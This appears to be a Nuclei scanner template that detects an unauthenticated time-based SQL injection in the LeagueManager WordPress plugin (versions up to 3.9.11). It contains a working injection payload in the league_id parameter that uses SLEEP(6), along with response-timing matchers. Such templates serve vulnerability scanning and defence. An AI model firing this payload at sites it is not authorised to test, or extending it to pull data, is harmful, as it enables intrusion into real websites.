id: leaguemanager-sql-injection info: name: LeagueManager <= 3.9.11 - SQL Injection author: theamanrawat severity: critical description: | The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection. reference: - https://wpscan.com/vulnerability/f3be48f5-ae2c-4e27-80ca-664829b8fba3 - https://wordpress.org/plugins/leaguemanager/ metadata: verified: true max-request: 1 tags: time-based-sqli,wpscan,sqli,wp,wp-plugin,wordpress,leaguemanager,unauth http: - raw: - | @timeout: 10s GET /?season=1&league_id=1season=1&league_id=1'+AND+(SELECT+1909+FROM+(SELECT(SLEEP(6)))ZiBf)--+qODp&match_day=1&team_id=1&match_day=1&team_id=1 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "LeagueManagerAjaxL10n")' condition: and # digest: 4a0a00473045022001634c059642e3d7998b0b9d70451bb0123e4ca15007cfcddfa3b69241788f82022100f9b6234074980af1de88cce0df5c451fd6c4e7ba5f1e4d0a064d60de364bb99e:922c64590222798bb761d5b6d8e72950